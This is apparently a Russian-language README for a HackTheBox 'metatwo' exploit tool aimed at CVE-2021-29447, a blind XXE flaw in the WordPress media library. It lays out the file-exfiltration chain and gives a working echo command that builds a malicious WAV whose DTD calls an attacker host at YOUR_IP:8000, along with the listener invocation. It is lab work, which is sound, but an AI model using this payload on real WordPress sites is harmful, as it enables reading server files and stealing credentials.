
Контроллер произвольного чтения файлов на основе CVE-2021-29447
Я создал этот контроллер при прохождении машины metatwo на HackTheBox для эксплуатации CVE-2021-29447 — XXE-уязвимости WordPress в медиабиблиотеке, затрагивающей версии 5.7, 5.6.2, 5.6.1, 5.6, 5.0.11, где аутентифицированный пользователь с возможностью загрузки в медиабиблиотеку может загрузить вредоносный WAV-файл, что может привести к удалённому произвольному чтению файлов и подделке серверных запросов (SSRF).
Для эксплуатации этой уязвимости требуется выполнить несколько шагов, чтобы провести успешную атаку. Результат разбора iXML-метаданных не отправляется обратно пользователю, поэтому для эксплуатации нам нужен blind XXE-пейлоад. Это достигается путём подключения внешнего определения типа документа (DTD), контролируемого атакующим, и нам нужно создать вредоносный WAV-файл, чтобы получить обратное соединение на прослушивающем сервере атакующего. После выполнения этих шагов загрузите WAV-файл на сервер и дождитесь получения HTTP-запроса, содержащего содержимое нашего файла-пейлоада в кодировке base64, например /etc/passwd, и декодируйте base64. Этот контроллер содержит все решения для этих нескольких шагов. Вам нужно только ввести имя файла в контроллер $console >
Подробный блог https://blog.sonarsource.com/wordpress-xxe-security-vulnerability/
Примечание: Этот контроллер полностью настроен под машину metatwo на HTB. Для любого использования вне этих условий вам нужно внести некоторые изменения в скрипты.
Создайте WAV-файл с именем payload.wav
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOUR_IP:8000/evil.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
запустите main.py
python3 main.py listen_ip
